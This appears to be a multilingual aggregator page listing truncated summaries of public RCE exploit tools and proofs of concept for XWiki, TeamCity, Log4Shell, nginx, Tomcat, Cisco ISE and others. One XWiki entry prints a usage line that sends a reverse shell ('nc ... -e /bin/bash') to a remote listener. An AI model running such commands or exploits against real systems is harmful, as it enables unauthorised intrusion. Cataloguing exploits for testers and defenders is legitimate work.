CVE-2024-51567-RCE-EXPLOIT

CVE-2024-51567-RCE-EXPLOIT cbyerpanel rce exploit...

RCE-Exploit-Framework

RCE-Exploit-Framework Ce framework est conçu pour aider les testeurs d'intrusion ou les développeurs à comprendre les mécanismes de l'exploitation de l'exécution de code à distance RCE. Fonctionnalités Générateur de payloads : Prend en charge la création de payloads personnalisés basés sur Python...

CVE-2025-24893

CVE-2025-24893 Exploit d'exécution de code à distance pour XWiki pour les versions antérieures à 15.10.11, 16.4.1 et 16.5.0RC1. Utilisation root@kitploit: $ python3 CVE-2025-24893.py -t 'http://example.com:8080' -c 'busybox nc 10.10.10.10 9001 -e /bin/bash' Utilisez-le uniquement à des fins...

htattack

htattack.py Une implémentation d'exploit pour RCE dans les documents RTF CVE-2017-0199. Vidéo en espagnol: https://www.youtube.com/watch?v=0lDvclMrymM Utilisation: root@kitploit: python htattack.py -u...

teamcity-exploit-cve-2023-42793

TeamCity Exploit Cve 2023 42793 Быстрый скрипт для эксплуатации уязвимости cve-2023-42793. Дополнительные материалы по эксплоиту можно найти здесь: https://www.fortinet.com/blog/threat-research/teamcity-intrusion-saga-apt29-suspected-exploiting-cve-2023-42793​...

nGixshell

nGixShell — это сканер CVE-уязвимостей nginx и фреймворк для эксплуатации RCE. Он включает рабочий proof-of-concept для CVE-2026-42945 — критического переполнения буфера в куче в ngxhttprewritemodule — а также сканер, охватывающий 53 CVE-уязвимости nginx , с автоматическими HTTP-пробами, снятием...

L4sh

Эксплойт Log4Shell RCE Полностью независимый эксплойт не требует каких-либо сторонних бинарных файлов. Эксплойт распыляет полезную нагрузку по всем возможным логируемым HTTP-заголовкам, таким как X-Forwarding , Server-IP , User-Agent. Использование root@kitploit: python main.py -i lhost -u...

CVE-2023-43177

CVE-2023-43177 CrushFTP = 10.5.1 远程代码执行 该仓库包含研究期间开发的RCE漏洞验证利用程序。...

h2database-rce-poc

H2 Console RCE Exploit Toolkit Vulnerability exploitation scr...

Exploit for Path Traversal in Vmware Cloud_Foundation

CTT-enhanced-VMware-vCenter Looking at current high-impact vul...

SweetRice-CMS-1.5.1-RCE-Exploit

SweetRice CMS 1.5.1 RCE Exploit Overview SweetRice CMS 1.5...

EUVD-2020-0163

Malware in sbrugna...

EUVD-2021-16090

Malware in sbrugna...

EUVD-2020-0162

Malware in sbrugna...

CVE-2014-125115 Pandora FMS ≤ 5.0 SP2 Default Credential SQL Injection RCE

An unauthenticated SQL injection vulnerability exists in Pandora FMS version 5.0 SP2 and earlier. The mobile/index.php endpoint fails to properly sanitize user input in the loginhashdata parameter, allowing attackers to extract administrator credentials or active session tokens via crafted...

Exploit for Deserialization of Untrusted Data in Apache Tomcat

CVE-2025-24813 Apache Tomcat RCE Exploit PoC This repository...

Exploit for Injection in Cisco Identity_Services_Engine

CVE-2025-20281-2-Cisco-ISE-RCE Unauthenticated Python PoC for...

Exploit for Code Injection in Langflow

mitsec - CVE-2025-3248 Langflow RCE Exploit Remote Code Execu...

Exploit for Improper Protection of Alternate Path in Vbulletin

Description: RCE for Vbullettin versions between 5.0.0 - 5...

Metasploit Weekly Wrap-Up 04/11/2025

Spring Exploits This weekly release of Metasploit Framework includes new RCE exploit modules for several vulnerable applications: Appsmith, a low-code application platform which contains a misconfiguration on PostgreSQL CVE-2024-55964; Pandora FMS, a monitoring solution, where, once gained access...